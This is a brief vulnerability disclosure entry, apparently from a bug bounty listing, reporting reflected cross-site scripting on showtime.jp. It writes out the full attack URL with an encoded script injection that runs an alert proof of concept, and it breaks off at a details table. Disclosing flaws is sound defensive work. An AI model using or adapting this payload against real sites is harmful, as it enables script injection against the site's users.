showtime.jp XSS vulnerability

Vulnerable URL: http://www.showtime.jp/app/search?searchgenre=%5B%27%27%5Ddevice=%5B%270%27%5Dkeyword=%5B%27%5Cxa5%5Cxb3%5Cxa5%5Cxf3%5Cxa5%5Cxc6%5Cxa5%5Cxf3%5Cxa5%5Cxc4%5Cxb8%5Cxa1%5Cxba%5Cxf7%27%5D%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E Details: Description| Value ---|---...